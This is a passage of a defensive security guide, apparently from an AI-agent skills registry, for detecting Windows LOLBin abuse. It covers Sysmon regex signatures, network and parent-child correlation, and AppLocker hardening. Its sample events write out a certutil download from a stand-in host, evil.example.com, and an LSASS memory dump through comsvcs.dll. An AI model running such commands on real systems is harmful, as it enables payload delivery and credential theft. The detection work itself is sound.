defaultdict\nfrom pathlib import Path\n\n# Known LOLBins and their suspicious command-line indicators\nLOLBIN_SIGNATURES = {\n    \"certutil.exe\": {\n        \"suspicious_args\": [\n            r\"-urlcache\\s+-f\\s+http\",\n            r\"-decode\\s+\",\n            r\"-encode\\s+\",\n            r\"-verifyctl\\s+.*http\",\n        ],\n        \"mitre\": \"T1218, T1105\",\n        \"severity\": \"high\"\n    },\n    \"mshta.exe\": {\n        \"suspicious_args\": [\n            r\"https?:\u002F\u002F\",\n            r\"vbscript:\",\n            r\"javascript:\",\n            r\"about:\",\n        ],\n        \"mitre\": \"T1218.005\",\n        \"severity\": \"high\"\n    },\n    \"rundll32.exe\": {\n        \"suspicious_args\": [\n            r\"javascript:\",\n            r\"shell32\\.dll.*ShellExec_RunDLL\",\n            r\"\\\\\\\\.*\\\\.*\\.dll\",  # UNC path DLL loading\n            r\"comsvcs\\.dll.*MiniDump\",  # LSASS dump via comsvcs\n        ],\n        \"mitre\": \"T1218.011\",\n        \"severity\": \"critical\"\n    },\n    \"regsvr32.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Fs\\s+\u002Fn\\s+\u002Fu\\s+\u002Fi:\",\n            r\"scrobj\\.dll\",\n            r\"https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1218.010\",\n        \"severity\": \"critical\"\n    },\n    \"bitsadmin.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Ftransfer\\s+.*https?:\u002F\u002F\",\n            r\"\u002Fcreate\\s+.*\\\u002Faddfile\\s+.*https?:\u002F\u002F\",\n            r\"\u002FSetNotifyCmdLine\",\n        ],\n        \"mitre\": \"T1197\",\n        \"severity\": \"high\"\n    },\n    \"wmic.exe\": {\n        \"suspicious_args\": [\n            r\"process\\s+call\\s+create\",\n            r\"\u002Fnode:\",\n            r\"os\\s+get\\s+\u002Fformat:.*https?:\u002F\u002F\",\n            r\"xsl.*https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1047\",\n        \"severity\": \"high\"\n    },\n    \"msbuild.exe\": {\n        \"suspicious_args\": [\n            r\"\\.xml\\b\",\n            r\"\\.csproj\\b\",\n            r\"\\\\temp\\\\\",\n            r\"\\\\appdata\\\\\",\n        ],\n        \"mitre\": \"T1127.001\",\n        \"severity\": \"high\"\n    },\n    \"mavinject.exe\": {\n        \"suspicious_args\": [\n            r\"\u002FINJECTRUNNING\\s+\\d+\",\n        ],\n        \"mitre\": \"T1218.013\",\n        \"severity\": \"critical\"\n    },\n}\n\ndef analyze_sysmon_events(events):\n    \"\"\"Analyze Sysmon process creation events for LOLBin abuse.\"\"\"\n    alerts = []\n\n    for event in events:\n        image = event.get(\"Image\", \"\").lower()\n        cmdline = event.get(\"CommandLine\", \"\")\n        parent = event.get(\"ParentImage\", \"\")\n\n        # Check if the process is a known LOLBin\n        for lolbin, config in LOLBIN_SIGNATURES.items():\n            if image.endswith(lolbin.lower()):\n                for pattern in config[\"suspicious_args\"]:\n                    if re.search(pattern, cmdline, re.IGNORECASE):\n                        alert = {\n                            \"timestamp\": event.get(\"UtcTime\", \"\"),\n                            \"hostname\": event.get(\"Computer\", \"\"),\n                            \"lolbin\": lolbin,\n                            \"command_line\": cmdline,\n                            \"parent_process\": parent,\n                            \"user\": event.get(\"User\", \"\"),\n                            \"process_id\": event.get(\"ProcessId\", \"\"),\n                            \"parent_pid\": event.get(\"ParentProcessId\", \"\"),\n                            \"mitre_technique\": config[\"mitre\"],\n                            \"severity\": config[\"severity\"],\n                            \"matched_pattern\": pattern,\n                        }\n                        alerts.append(alert)\n                        break\n    return alerts\n\n# Example usage with parsed Sysmon events\nsample_events = [\n    {\n        \"UtcTime\": \"2026-01-20 14:32:15.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n        \"CommandLine\": \"certutil.exe -urlcache -f http:\u002F\u002Fevil.example.com\u002Fpayload.exe C:\\\\temp\\\\update.exe\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"4532\",\n        \"ParentProcessId\": \"2108\",\n    },\n    {\n        \"UtcTime\": \"2026-01-20 14:33:01.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\rundll32.exe\",\n        \"CommandLine\": \"rundll32.exe comsvcs.dll, MiniDump 624 C:\\\\temp\\\\dump.bin full\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"5128\",\n        \"ParentProcessId\": \"2108\",\n    },\n]\n\nalerts = analyze_sysmon_events(sample_events)\nfor alert in alerts:\n    print(f\"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}\")\n    print(f\"  MITRE: {alert['mitre_technique']}\")\n    print(f\"  Command: {alert['command_line'][:120]}\")\n    print(f\"  Parent: {alert['parent_process']}\")\n    print(f\"  User: {alert['user']}\")\n    print()\n```\n\n### Step 4: Detect LOLBin Network Connections\n\nLOLBins making outbound network connections is a strong indicator of malicious use:\n\n```python\ndef detect_lolbin_network_activity(network_events, process_events):\n    \"\"\"Correlate Sysmon network events (ID 3) with process creation (ID 1)\n    to find LOLBins making outbound connections.\"\"\"\n\n    # LOLBins that should rarely make outbound connections\n    NETWORK_SUSPICIOUS = {\n        \"certutil.exe\", \"mshta.exe\", \"rundll32.exe\", \"regsvr32.exe\",\n        \"msbuild.exe\", \"installutil.exe\", \"bitsadmin.exe\", \"esentutl.exe\",\n        \"expand.exe\", \"replace.exe\", \"cmstp.exe\", \"presentationhost.exe\",\n    }\n\n    alerts = []\n    for event in network_events:\n        image = event.get(\"Image\", \"\").lower()\n        binary_name = image.split(\"\\\\\")[-1] if \"\\\\\" in image else image\n\n        if binary_name in NETWORK_SUSPICIOUS:\n            dest_ip = event.get(\"DestinationIp\", \"\")\n            dest_port = event.get(\"DestinationPort\", \"\")\n\n            # Skip localhost and internal DNS\n            if dest_ip.startswith(\"127.\") or dest_ip == \"::1\":\n                continue\n\n            alert = {\n                \"type\": \"lolbin_network_connection\",\n                \"binary\": binary_name,\n                \"destination_ip\": dest_ip,\n                \"destination_port\": dest_port,\n                \"destination_hostname\": event.get(\"DestinationHostname\", \"\"),\n                \"source_ip\": event.get(\"SourceIp\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n                \"severity\": \"critical\",\n            }\n            alerts.append(alert)\n            print(f\"[CRITICAL] {binary_name} connected to \"\n                  f\"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N\u002FA')})\")\n\n    return alerts\n```\n\n### Step 5: Monitor Anomalous Parent-Child Process Relationships\n\n```python\n# Suspicious parent-child relationships indicating LOLBin abuse\nSUSPICIOUS_PARENT_CHILD = [\n    # Office apps spawning LOLBins (macro execution)\n    {\"parent\": [\"winword.exe\", \"excel.exe\", \"powerpnt.exe\", \"outlook.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"pwsh.exe\", \"mshta.exe\",\n               \"wscript.exe\", \"cscript.exe\", \"certutil.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1204.002\"},\n\n    # Explorer spawning script interpreters directly\n    {\"parent\": [\"explorer.exe\"],\n     \"child\": [\"mshta.exe\", \"regsvr32.exe\", \"msbuild.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1218\"},\n\n    # WMI provider spawning processes (lateral movement)\n    {\"parent\": [\"wmiprvse.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1047\"},\n\n    # Services spawning unusual children\n    {\"parent\": [\"services.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\", \"rundll32.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1543.003\"},\n]\n\ndef check_parent_child_anomaly(event):\n    \"\"\"Check if a process creation event has a suspicious parent-child pair.\"\"\"\n    parent = event.get(\"ParentImage\", \"\").split(\"\\\\\")[-1].lower()\n    child = event.get(\"Image\", \"\").split(\"\\\\\")[-1].lower()\n\n    for rule in SUSPICIOUS_PARENT_CHILD:\n        if parent in rule[\"parent\"] and child in rule[\"child\"]:\n            return {\n                \"alert_type\": \"suspicious_parent_child\",\n                \"parent\": parent,\n                \"child\": child,\n                \"command_line\": event.get(\"CommandLine\", \"\"),\n                \"mitre\": rule[\"mitre\"],\n                \"severity\": rule[\"severity\"],\n                \"hostname\": event.get(\"Computer\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n            }\n    return None\n```\n\n### Step 6: Implement AppLocker or WDAC Hardening\n\nRestrict unnecessary LOLBin execution with application control policies:\n\n```powershell\n# Query current AppLocker policy\nGet-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections\n\n# Create AppLocker rules to restrict certutil to admin-only\n$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix \"Block\" `\n    -FileInformation \"C:\\Windows\\System32\\certutil.exe\" `\n    -User \"S-1-1-0\" -Deny\n\n# Export current policy for backup before applying changes\nGet-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml\n\n# Block specific LOLBins for standard users via GPO script\n$lolbins_to_restrict = @(\n    \"mshta.exe\", \"cmstp.exe\", \"msbuild.exe\", \"installutil.exe\",\n    \"regsvr32.exe\", \"presentationhost.exe\", \"ie4uinit.exe\",\n    \"mavinject.exe\", \"xwizard.exe\"\n)\n\nforeach ($binary in $lolbins_to_restrict) {\n    $path = \"C:\\Windows\\System32\\$binary\"\n    if (Test-Path $path) {\n        Write-Output \"Restricting: $path\"\n        # Apply WDAC deny rule via PowerShell\n        # In production, use Group Policy or Intune WDAC policies\n    }\n}\n```\n\n## Verification\n\n- Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins\n- Validate Sigma rules convert correctly to your SIEM query language using `sigmac` or `sigma-cli`\n- Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire\n- Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g., `winword.exe` spawning `certutil.exe`)\n- Confirm LOLBin network connection detection triggers when `certutil.exe` or `mshta.exe` reach out to external IPs\n- Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production\n- Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment\n- Cross-reference detections against the LOLBAS project database at https:\u002F\u002Flolbas-project.github.io\u002F for completeness\n",{"name":5,"tags":44,"author":47,"domain":38,"license":15,"version":48,"category":5,"nist_csf":49,"subdomain":35,"description":54,"mitre_attack":55,"d3fend_techniques":59},[45,34,33,46],"lolbins","process-monitoring","mahipal","1.0",[50,51,52,53],"DE.CM-01","DE.AE-02","DE.AE-06","ID.RA-05","Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Monitors process creation, command-line arguments, and parent-child relationships to identify suspicious LOLBin execution patterns.\n",[56,57,58],"T1078","T1190","T1059",[60,61,62,63,64],"Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation","main","5eea5b3296f4673b5f481e8bcc1ba76281149f16","modules\u002Fdetecting-living-off-the-land-attacks",0,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core","https:\u002F\u002Fgithub.com\u002FHenriqueMC17","Qualquer tecnologia suficientemente avançada é indistinguível da mágica.","2026-09-28 22:40:38",{"source":8,"skillName":5,"commands":74,"prompt":84,"zipAvailable":85},[75,78,81],{"tool":76,"command":77},"npx","npx skills add HenriqueMC17\u002Fagente-core --skill detecting-living-off-the-land-attacks",{"tool":79,"command":80},"bunx","bunx skills add HenriqueMC17\u002Fagente-core --skill detecting-living-off-the-land-attacks",{"tool":82,"command":83},"pnpm","pnpm dlx skills add HenriqueMC17\u002Fagente-core --skill detecting-living-off-the-land-attacks","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fdetecting-living-off-the-land-attacks\u002FSKILL.md",true,[87,92,98],{"path":88,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":90,"sourceHtmlUrl":91},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fdetecting-living-off-the-land-attacks\u002FLICENSE",{"path":93,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":96,"sourceHtmlUrl":97},"references\u002Fapi-reference.md","REFERENCE","参考文档",3215,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fdetecting-living-off-the-land-attacks\u002Freferences\u002Fapi-reference.md",{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"scripts\u002Fagent.py","SCRIPT","脚本",18993,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fdetecting-living-off-the-land-attacks\u002Fscripts\u002Fagent.py",[105,130,156,178,194,213],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":39},"01M6HPFF0RCN0X6WT5EBSV71GY","validating-backup-integrity-for-recovery","Validate backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to ensure backups are reliable for disaster recovery and ransomware response scenarios.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[],[112,113,114,115,116,117,38,118,119,120,121,122,123,32,124,125,126,127,128,129],"integrity","backup","recovery","validating backup integrity for recovery","for","testing","validate","verification","hash-verification","incident-response","ransomware","detection","t1490","disaster-recovery","restore","incident","disaster recovery","ransomware response",{"skillNo":131,"name":132,"nameZh":6,"description":133,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":134,"categories":135,"keywords":136,"publishedAt":39},"01M6HPFAWJVFK25Q33K3T7WQ8G","triaging-vulnerabilities-with-ssvc-framework","Triage and prioritize vulnerabilities using CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree framework to produce actionable remediation priorities.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[],[137,138,139,140,141,38,142,143,144,145,146,147,148,149,150,151,152,153,154,155],"vulnerabilities","framework","ssvc","triaging vulnerabilities with ssvc framework","with","triage and prioritize","CISA","vulnerability-management","risk-management","cvss","remediation","vulnerability","prioritization","decision-tree","prioritize","decision","priorities","actionable","tree",{"skillNo":157,"name":158,"nameZh":6,"description":159,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":160,"categories":161,"keywords":162,"publishedAt":39},"01M6HPF6JS9X72WP59094H3ASQ","triaging-security-incident","Performs initial triage of security incidents to determine severity, scope, and required response actions using the NIST SP 800-61r3 and SANS PICERL frameworks. Classifies incidents by type, assigns priority based on business impact, and routes...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident\u002FSKILL.md",[],[163,164,127,38,165,166,167,32,124,23,168,169,170,171,172,173,174,175,176,177],"security","triaging security incident","actions","soc","NIST","severity-classification","incident-triage","SANS-PICERL","SOC-operations","picerl","conversion","isolation","scope","impact","consistency",{"skillNo":179,"name":180,"nameZh":6,"description":181,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":182,"categories":183,"keywords":184,"publishedAt":39},"01M6HPF2EX6ZYNYYHKBRJN7GEF","triaging-security-incident-with-ir-playbook","Classify and prioritize security incidents using structured IR playbooks to determine severity, assign response teams, and initiate appropriate response procedures.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident-with-ir-playbook\u002FSKILL.md",[],[163,185,186,164,127,141,38,187,166,121,188,189,32,124,190,168,151,191,192,193],"playbook","triaging security incident with ir playbook","teams","IR-playbook","severity","classification","classify","incidents","initiate",{"skillNo":195,"name":196,"nameZh":6,"description":197,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":198,"categories":199,"keywords":200,"publishedAt":39},"01M6HPEY9XPGE7X95AG4XJFQAW","triaging-security-alerts-in-splunk","Triages security alerts in Splunk Enterprise Security by classifying severity, investigating notable events, correlating related telemetry, and making escalation or closure decisions using SPL queries and the Incident Review dashboard. Use when...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-alerts-in-splunk\u002FSKILL.md",[],[163,201,202,203,204,205,38,206,207,208,166,209,32,210,211,212,171,29,127,26],"security alerts","splunk","triaging security alerts in splunk","alerts","review","siem","dashboard","search","correlation-search","t1566","notable-events","incident-review",{"skillNo":214,"name":215,"nameZh":6,"description":216,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":217,"categories":218,"keywords":219,"publishedAt":39},"01M6HPET6XGEPEJPN7V032JGZ0","tracking-threat-actor-infrastructure","Threat actor infrastructure tracking involves monitoring and mapping adversary-controlled assets including command-and-control (C2) servers, phishing domains, exploit kit hosts, bulletproof hosting, a","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftracking-threat-actor-infrastructure\u002FSKILL.md",[],[220,221,222,223,38,37,224,225,226,227,228,210,30,229,29,230,26,231,232,233],"infrastructure","tracking threat actor infrastructure","tracking","threat","mitre-attack","threat-actor","threat-intelligence","command-and-control","dns","exploit","intelligence","domains","kit","hosts"]